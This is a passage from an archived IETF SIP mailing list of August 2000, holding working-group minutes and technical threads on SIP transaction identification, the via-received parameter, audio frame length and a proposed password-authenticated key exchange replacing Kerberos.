Schulzzrinne, Adam Roach, Sean Olson, and Scott Petrack made points. General consensus seemed to be to stay with 2543 approach and to prefer indirect reference where feasible. Case Sensitivity of URLS: (URI Comparison) general consensus for documented approach. Rohan Mahy suggested some sort of locally extended flexibility be considered. Session-Timer: Several changes reveiwd. Jonathan Lennox asked if it is legitmate for a Require: header to be inserted by a proxy. Context and Architecture for SIP-T -- Aparna Vemuri Purpose: feature transparency. Issues * SIP MIME type negotiation - standard 415 * Want to be able to tell a UAS to ignore certain MIME types - ISUP repitition problem: * not all ISUP parameters are needed; many will contain information from origination side Changes in DCS -- Bill Marshall All six drafts now in compliance with rfc2026. Manyfolks: handling of case where UAS wants preconditions, but UAC didn't indicate support for it Privacy: 1) Needed to add proxy-require. 2) Removed authentication ?? sip security task force will handle. 3) OSPS removed. 4) Editorial changes to align with Guidelines. State: 1) Usage of Supported/Require added . 2 )Interaction with Hide. If Via headers hidden, then state headers need to be hidden -> resulting in Proxy-Require. 3) will change syntax to include port number. Call Authorization: only minor editorial changes Architectural Draft: Much larger in size Proxy-Proxy: 1) DCS Specific extensions tracing of obsence and harassing calls resource coordination for packetcable call transfer and three way calling. 2. OSPS, Billing-Info, Require and Proxy-Require used. 3) Next steps: * design complete, * maybe issues for inter-domain operation, * 4 documents for proposed. Consensus was achieved on adding four proposed drafts as wg items. Informational draft will be on hold until proposed documents are complete. Update on rfc2543bis -- Henning Schulzrinne Nothing thats not backwards compatible. Not SIP/2.1. Lots of clarifications: * ACK Forwarding * consistencies between tables and texts * e-e vs. h-h distinction has been deprecated, different table which describes what proxies are allowed to do * headers tentatively added * separate call and transaction state machines * cancel/invite are separable (will need to add note on need for timer in cancel, since you may not get a 487) * addition of spirals * split spec in half - framework and methods draft MIB Draft -- Dave Walker Partition of MIB: SIP common, UA, Server (proxy and redirect), Registrar Support modules: Added support for multiple instances in the same system, throttling, some security things in there. Wednesday Session _______________ Message Waiting Indicator -- Rohan Mahy Several issues were raised in discussion: 1) Should compare and contrast with HTTP and poll models such as POP and with SNMP, asnwer "why these are not suitable and SIP-MWI is". 2) A MWI is really just a presence information bit, it might be more appropriate to just use the presence mechanisms, 3) the alerting mechanism should be designed generically rather than specifically as a voice-mail function. SIP-H.323 requirements -- Radhika Roy Point made -- this interworking is for basic call, not extra signaling like Q.SIG. Also, IETF work should not address purely operational issues. Call Flows -- Johnston Several changes and corrections have been made.Multiproxy and transfer additions needed. Caveat: this is not a complete debug list, we probably need to do some more work in that respect. OSP Token -- Johnston and Thomas consensus was to include it as a header question: can you include a reference to the token instead of the actual token? Note: Proxies may read or insert but not modify tokens. question: maybe recommend tcp since the tokens are large DTMF -- Skip Cave and Bert Culpepper Skip proposes that there are two problems - dtmf transport, readily covered by RTP, and key input, which is a different problem. This is supported by a historical analysis of the deployment of DTMF applications. Discussion centered on solving the user input problem. Donovan proposed using SUBSCRIBE/NOTIFY mechanisms to establish a signaling relationship for user input. Question: do app servers need access to the RTP stream? No conclusion Emergency Services -- Henning Schulzrinne Discussion centered on the applicability of SLP, with some contention.. Brian Rosen's note indicate that there was a consensus indicating that SLP should be usable. Issues, however, extend beyond SIP -- for example, emergency services for Web users? Appliance Framwork -- Stan Moyer No discussion allowed by chairs due to time constraints. AAA Requirements -- Calhoun, etc. Comments:Must take into account discussions in the AAA group. Problem space must include use of services other than Internet Access logon. Get discussion on sip rqmts onto the list 3rd Party Call Control with SDP preconditions -- Gonzalo Camarillo No comments, two open issues will be taken to the list. CC/PP exchange -- Iizuka Comments: This is similar, perhaps overlapping the caller preferences problem (Ed: actually, it's the flip side of the same problem). SIP may not be the right answer to this question -- or maybe we haven't asked the right question yet. This approach raises the question of whether the Guidelines should include a direction for atomicity. TIPHON work on SIP -- Sijben No discussion due to time SIP Firewall Policy mechanisms -- Jon Peterson No discussion due to time Call Control and Transfer -- Robert Sparks Refer is not just for INVITES anymore. It has utilility in other methods. Also, generalizing method to point to an arbitrary URL has interesting impli cations. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 23:57:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA16943 for ; Wed, 30 Aug 2000 23:57:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 918FC4434C; Wed, 30 Aug 2000 22:56:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from proxy4.ba.best.com (proxy4.ba.best.com [206.184.139.15]) by lists.bell-labs.com (Postfix) with ESMTP id E894344336 for ; Wed, 30 Aug 2000 22:56:11 -0400 (EDT) Received: from amd.echeque.com (jamesd.vip.best.com [204.156.153.125]) by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id UAA23301; Wed, 30 Aug 2000 20:54:15 -0700 (PDT) Message-Id: <4.3.1.2.20000830092306.00bbeeb0@shell11.ba.best.com> X-Sender: jamesd@shell11.ba.best.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Wed, 30 Aug 2000 20:53:23 -0700 To: Michael Thomas , Henning Schulzrinne From: "James A. Donald" Subject: Re: [SIP] Re: SIP gateways and authentication Cc: Michael Thomas , Jonathan Rosenberg , David Harris , "Sip-Implementors (E-mail)" , sip In-Reply-To: <14765.12335.868273.287866@thomasm-u1.cisco.com> References: <39A6D968.647FBFDB@cs.columbia.edu> <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> <39A6C49E.9844FF65@cs.columbia.edu> <14758.51787.331133.132625@thomasm-u1.cisco.com> <39A6D968.647FBFDB@cs.columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com -- At 09:02 AM 8/30/2000 -0700, Michael Thomas wrote: > A cross realm Kerberos based solution would be more than adequate to > give you a high level of confidence that a piece of information came > from the realm it claims to have come from. While you are correct that we should use Kerberos like security servers, Kerberos itself is broken. It has been broken for some time. The problem is described in http://theory.stanford.edu/~tjw/krbpass.html, and with the passage of time the problem becomes ever worse, due to the increased power of offline dictionary attack hardware and software. A modern security system, (which kerberos is not) must only permit online attacks on the password. Kerberos permits offline attacks. In a modern system the attacker must only be able to test his guesses by using the guessed password to attempt to establish a secure connection to the security server. After some large number of consecutive failures, the security server will temporarily disable the account, and send to the user an insecure notification containing a log of all information about the failed attempts. After each successful logon, the system sends the user information about all previous failed attempts through the secure connection. The proposal to use PGP keys or verisign keys uses modern security techniques to solve the wrong problem. The proposal to use kerberos techniques addresses the right problem in the right way, but the particular details of the solution are obsolete. I propose the following EKE like solution, similar to that described in my web page http://catalog.com/jamesd/kong/secure_video.htm The user establishes a secure connection with the secure personal presence server. The personal presence client logs in to the personal presence server using the name and password. The password is never revealed to the server. An outside attacker would have to try his guessed password by attempting to log on. If he tried lots of logons, this would become noticeable. The server knows, not the password p , but h(p)*G where G is an elliptic point that the server makes known to anyone. When the user created his account, his client software informed the server of h(p)*G through https. The software ensures that it gave this account creation information only to the real server, thanks to the usual https mechanism, which guarantees the server's true name. The server does not need to verify the users true name. Lower case letters stand for very large integers, upper case letters stand for elliptic points. h(x) means "one way hash of x " The object of the logon protocol is to ensure that the client program is communicating with a server that knows h(p)*G , and the server knows it is communicating with a client who knows h(p) In this the protocol differs from SPEKE, where both the client and the security server both know p. The implementors have to keep in mind the usual EKE concerns described in http://world.std.com/~dpj/speke97.html. When the user logs on he sends the server his logon name in the clear, The server generates a true random number b , and sends the user b*G . The client similarly generates a true random number c and sends the server c*G. An attacker can discover c*G, b*G, and G, but cannot calculate c or b from this information. The client then generates the secret elliptic point (b*G)*[c+h(p)] The server similarly generates the secret elliptic point b*[(c*G)+(h(p)*G)] , which will be equal to the point generated by the client. This elliptic point is then used as the symmetric secret key for secure communications between client and the security server until the user logs off. In order to succeed with the protocol, in order for the client to construct a secret elliptic point equal to that of the server, it must know h(p) corresponding to the server's h(p)*G Of course, ultimately our objective is not secure communications with the security server, but secure communications between any two users, and secure communications between a user and all the various entities that are involved in setting up his communication. The simplest way of solving this is the classic DH method, now patent free, where each entity generates one true random transient public/private key pair, which lasts the duration of a login session. Each security server authenticates the public keys of its users and entities, and only the user or entity knows the private key. This could potentially lead to a very large number of public key operations, which are quite slow Because the keys change infrequently, this problem can be solved by each entity caching the results of previous public key operations. The cache is discarded when the entity logs out.. When Bob sends an authenticated and secure message to Ann, saying "Hi Ann, how are things?" it would use intolerable bandwidth if that message, and each of the various acks and nacks by various entities required to locate Ann and set up and send the message, required a verisign style public key signature, or pgp style public key signatue. Instead, for any two entities, there will be a unique DH shared secret, constructed from each one's DH key. Each obtains the other's public DH key from the others security server. That unique shared secret will not change as long as both entities remain logged on to their security server. Since each ack and nack will be sent encrypted using that unique and unchanging shared secret, no public key operations will be needed to prove who is sending the ack, since only the apparent author or the apparent recipient could decrypt it or encrypt it. We have only one public key operation per logon time per pair of entities that need to communicate securely, which will have an insignificant bandwidth and computational cost, not several public key operations per ack and nack, as would be required if we employed a signature system similar to that employed by verisign or PGP. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG i4N8MYu3lFyxRz7rj6IX3CMlEt8P5QsQNrYF+dGO 478RouxqobjnPMPR6Cg+Lf/c/t2dukyvpj+QkrgkK _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 04:01:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01464 for ; Thu, 31 Aug 2000 04:01:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A2CC54434E; Thu, 31 Aug 2000 03:00:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id EC4AE44336 for ; Thu, 31 Aug 2000 03:00:48 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7V80Rw13936; Thu, 31 Aug 2000 10:00:27 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7V80QL19755; Thu, 31 Aug 2000 10:00:26 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id KAA29578; Thu, 31 Aug 2000 10:00:22 +0200 (MET DST) Message-ID: <39AE1096.95161017@uab.ericsson.se> Date: Thu, 31 Aug 2000 10:00:22 +0200 From: Loita Jahnsson Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: Jonathan Rosenberg , jhornsby@ubiquity.net, sip@lists.bell-labs.com Subject: Re: [SIP] transaction identification References: <002e01c011c2$94a85000$4e34c3c1@ubiquity.co.uk> <39AC83A0.68A61CA@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, > Jo Hornsby wrote: > > Anyway, Neil has got me all turned around on the issue. I'm now > > thinking perhaps 2), since the added restriction of not doing > > loop detection (request merging) checks on requests with Route > > headers in isn't that Draconian, and it also solves another problem > > that I've been harping on about: Loop Detection and Via Hiding > > (see "thread" from last week). That is, add the requirement that > > branch parameters are always unique (within some reasonable > > time-frame). > Jonathan Rosenberg wrote; > > This is my preference. This gives Loita the desired property - you can > uniquely identify the transaction as a concatenation of a finite set of > fields - To, From, R-URI, Call-ID, CSeq, top via (plus branch-ID). Solution 2 is quite ok. This would offer a possibility to separate parallell transactions within a SIP session, which is a good thing :) You might want to consider the case below though: *************************************************************************** ---------> u1@p2 ---> ub1@cb1 | ua@ca ------> u@p ---------> u2@p2 ---> ub2@cb2 ca sends an INVITE to u@p, which forks the request to different users. As it turns out, both ub1@cb1 and ub2@cb2 sends a 200 OK and "p" happens to be able to forward multiple 200 OK's. ca is an implementation that could actually ACK both of the 200 OK's and setup and represent parallell media sessions towards both cb1 and cb2 for the single SIP session. Imagine "p" implementing some service or controlling a firewall or media proxy for example. "p" would then have to keep the different "sub-sessions" apart, because, cb1 & cb2 could hang up at different occasions. Consider "p" and "p2" to be Record-Routing. When cb2 hangs up it would appear in "p" as: BYE ua@ca, Route ua@ca and when cb1 hangs up it would appear in the proxy as: BYE ua@ca, Route ua@ca How should "p" be able to determine which "sub-session" the BYE is for? *************************************************************************** So when thinking about it once more, Jonathans suggestion with a URI parameter, might be the most appropriate one? Best Regards, Loita Jahnsson _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 04:12:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01523 for ; Thu, 31 Aug 2000 04:12:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2B96C4435F; Thu, 31 Aug 2000 03:11:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 21E7044359 for ; Thu, 31 Aug 2000 03:11:15 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7V8B9w17979; Thu, 31 Aug 2000 10:11:09 +0200 (MEST) Received: from greymse1.lmf.ericsson.se (greymse1.lmf.ericsson.se [131.160.1.6]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id LAA20657; Thu, 31 Aug 2000 11:11:09 +0300 (EET DST) Received: from lmf.ericsson.se (E005004B52C74.lmf.ericsson.se [131.160.30.227]) by greymse1.lmf.ericsson.se (8.9.3 (PHNE_18979)/8.8.6) with ESMTP id LAA09856; Thu, 31 Aug 2000 11:11:01 +0300 (EETDST) Message-ID: <39AE12B3.B7804F0C@lmf.ericsson.se> Date: Thu, 31 Aug 2000 11:09:23 +0300 From: Christer Holmberg X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Chris Durand Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] audio frame length References: <4262BC1254F9D311AFD0009027E06AED1AF3E7@SPECTRANET> Content-Type: multipart/mixed; boundary="------------4154C60D759DC8E8B4907717" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. --------------4154C60D759DC8E8B4907717 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, What you have is the a=ptime SDP parameter. However, as the draft says, it is only used as a "recommendation", and that it should not be necessary to know ptime to handle the media stream. Regards, Christer Holmberg Ericsson Finland > Does SIP have a mean of agreeing on an audio frame length betweem two > devices (e.g .30ms of audio exchanged in each RTP packet). > Thanks > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip --------------4154C60D759DC8E8B4907717 Content-Type: text/x-vcard; charset=us-ascii; name="christer.holmberg.vcf" Content-Description: Card for Christer Holmberg Content-Disposition: attachment; filename="christer.holmberg.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Holmberg;Christer tel;cell:+358-40-5604412 tel;work:+358-9-2992943 x-mozilla-html:FALSE org:Ericsson;Advanced Signalling Research Laboratory adr:;;;;;; version:2.1 email;internet:christer.holmberg@lmf.ericsson.se fn:Christer Holmberg end:vcard --------------4154C60D759DC8E8B4907717-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 06:11:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02695 for ; Thu, 31 Aug 2000 06:11:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2681F44352; Thu, 31 Aug 2000 05:10:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from motgate3.mot.com (unknown [144.189.100.103]) by lists.bell-labs.com (Postfix) with ESMTP id 4A3E144336 for ; Thu, 31 Aug 2000 05:10:33 -0400 (EDT) Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate3.mot.com (motgate3 2.1) with ESMTP id DAA14977 for ; Thu, 31 Aug 2000 03:08:18 -0700 (MST)] Received: [from hpux4.miel.mot.com (hpux4.miel.mot.com [217.1.84.89]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id DAA00730 for ; Thu, 31 Aug 2000 03:09:14 -0700 (MST)] Received: from miel.mot.com (pc128130.miel.mot.com [217.1.128.130]) by miel.mot.com (8.9.3/8.9.3) with ESMTP id PAA17778 for ; Thu, 31 Aug 2000 15:44:11 +0530 (IST) Message-ID: <39AE6E8F.E726CBE5@miel.mot.com> Date: Thu, 31 Aug 2000 15:41:20 +0100 From: sreenivasa reddy D X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] via-Received params field Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi In draft 00(fig :10 ) via-received was ( via-received = "received" "=" host[:port] ) But in draft 01 it has been changed to via-received = "received" "=" host . Does this mean port will not be changed. Sreenivasa Reddy .D _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 06:27:58 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02903 for ; Thu, 31 Aug 2000 06:27:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F215B4434E; Thu, 31 Aug 2000 05:27:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from gandalf.axion.bt.co.uk (gandalf.axion.bt.co.uk [132.146.17.29]) by lists.bell-labs.com (Postfix) with ESMTP id DA43B44336 for ; Thu, 31 Aug 2000 05:27:46 -0400 (EDT) Received: from cbtlipnt02.btlabs.bt.co.uk by gandalf (local) with ESMTP; Thu, 31 Aug 2000 11:27:08 +0100 Received: by cbtlipnt02.btlabs.bt.co.uk with Internet Mail Service (5.5.2651.88) id ; Thu, 31 Aug 2000 11:27:01 +0100 Message-ID: From: tony.stephens@bt.com To: sip@lists.bell-labs.com Cc: andy.j.heron@bt.com Date: Thu, 31 Aug 2000 11:26:29 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.88) Content-Type: text/plain Subject: [SIP] IMTC Inter-op Event, Durham NH, USA, 11-15 Sept Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Any one planning to attend this event ? Regards, Tony Stephens _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 06:32:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02996 for ; Thu, 31 Aug 2000 06:32:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 99B3F44364; Thu, 31 Aug 2000 05:30:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id DC32244355 for ; Thu, 31 Aug 2000 05:30:00 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id LAA25382; Thu, 31 Aug 2000 11:28:03 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: sreenivasa reddy D , sip@lists.bell-labs.com Subject: Re: [SIP] via-Received params field Date: Thu, 31 Aug 2000 11:20:08 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain References: <39AE6E8F.E726CBE5@miel.mot.com> In-Reply-To: <39AE6E8F.E726CBE5@miel.mot.com> MIME-Version: 1.0 Message-Id: <00083111224700.15097@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Thu, 31 Aug 2000, sreenivasa reddy D wrote: > Hi > In draft 00(fig :10 ) via-received was ( via-received = "received" "=" host[:port] ) But in draft > 01 it has been changed to via-received = "received" "=" host . > Does this mean port will not be changed. When using the received parameter the port will be taken from the via value itself not the parameter. this is because it is not guarenteed (or even likely) that the port the message was sent from is the same as the port it will receive on. -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 06:54:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA03237 for ; Thu, 31 Aug 2000 06:54:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 23E1A44366; Thu, 31 Aug 2000 05:53:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 38D1F44336 for ; Thu, 31 Aug 2000 05:53:07 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id LAA02271; Thu, 31 Aug 2000 11:51:12 +0100 (BST) Message-ID: <39AE38A0.526A55F8@ubiquity.net> Date: Thu, 31 Aug 2000 11:51:12 +0100 From: Neil Deason Organization: Ubiquity Software Corporation Limited X-Mailer: Mozilla 4.51 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Loita Jahnsson Cc: Jonathan Rosenberg , jhornsby@ubiquity.net, sip@lists.bell-labs.com Subject: Re: [SIP] transaction identification References: <002e01c011c2$94a85000$4e34c3c1@ubiquity.co.uk> <39AC83A0.68A61CA@dynamicsoft.com> <39AE1096.95161017@uab.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Loita Jahnsson wrote: > > Hi, > > > Jo Hornsby wrote: > > > > Anyway, Neil has got me all turned around on the issue. I'm now > > > thinking perhaps 2), since the added restriction of not doing > > > loop detection (request merging) checks on requests with Route > > > headers in isn't that Draconian, and it also solves another problem > > > that I've been harping on about: Loop Detection and Via Hiding > > > (see "thread" from last week). That is, add the requirement that > > > branch parameters are always unique (within some reasonable > > > time-frame). > > > Jonathan Rosenberg wrote; > > > > This is my preference. This gives Loita the desired property - you can > > uniquely identify the transaction as a concatenation of a finite set of > > fields - To, From, R-URI, Call-ID, CSeq, top via (plus branch-ID). > > Solution 2 is quite ok. This would offer a possibility > to separate parallell transactions within a SIP session, > which is a good thing :) > > You might want to consider the case below though: > > *************************************************************************** > > ---------> u1@p2 ---> ub1@cb1 > | > ua@ca ------> u@p ---------> u2@p2 ---> ub2@cb2 > > > ca sends an INVITE to u@p, which forks the request to > different users. As it turns out, both ub1@cb1 and ub2@cb2 sends > a 200 OK and "p" happens to be able to forward multiple 200 OK's. > ca is an implementation that could actually ACK both of the 200 OK's > and setup and represent parallell media sessions towards both cb1 > and cb2 for the single SIP session. > > Imagine "p" implementing some service or controlling a > firewall or media proxy for example. "p" would then have to > keep the different "sub-sessions" apart, because, cb1 & cb2 > could hang up at different occasions. > > Consider "p" and "p2" to be Record-Routing. > > When cb2 hangs up it would appear in "p" as: > > BYE ua@ca, Route ua@ca > > and when cb1 hangs up it would appear in the proxy as: > > BYE ua@ca, Route ua@ca > > How should "p" be able to determine which "sub-session" the BYE > is for? From p's point of view the topmost Via would be different thus identifying the two possible BYEs as non isomorphic requests. Also in this example a tag in the From differentiates the call legs if the proxy needs to be call stateful for some specialised service. Cheers, Neil. -- Ubiquity Software Corporation, UK http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 08:54:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05226 for ; Thu, 31 Aug 2000 08:54:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4F6AE4434E; Thu, 31 Aug 2000 07:54:01 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp2.cluster.oleane.net (smtp2.cluster.oleane.net [195.25.12.17]) by lists.bell-labs.com (Postfix) with ESMTP id 3EB7844336 for ; Thu, 31 Aug 2000 07:53:56 -0400 (EDT) Received: from oleane (dyn-1-1-093.Vin.dialup.oleane.fr [195.25.4.93]) by smtp2.cluster.oleane.net with SMTP id OAA41950; Thu, 31 Aug 2000 14:56:18 +0200 (CEST) Message-ID: <000e01c0134a$6f8ea1a0$0401a8c0@oleane.com> From: "Peter Lewis" To: "info" Date: Thu, 31 Aug 2000 14:53:15 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C0135B.31862340" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [SIP] VoDSL Europe 2001 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C0135B.31862340 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable VoDSL Europe 2001 The Call for Papers dead line has been extended to September 15th Please get more details at: http://www.upperside.fr/bavodsl2001.htm ------=_NextPart_000_000B_01C0135B.31862340 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
VoDSL Europe 2001
The Call for Papers dead line has = been extended=20 to September 15th
Please get more details = at:
http://www.upperside.fr/= bavodsl2001.htm
 
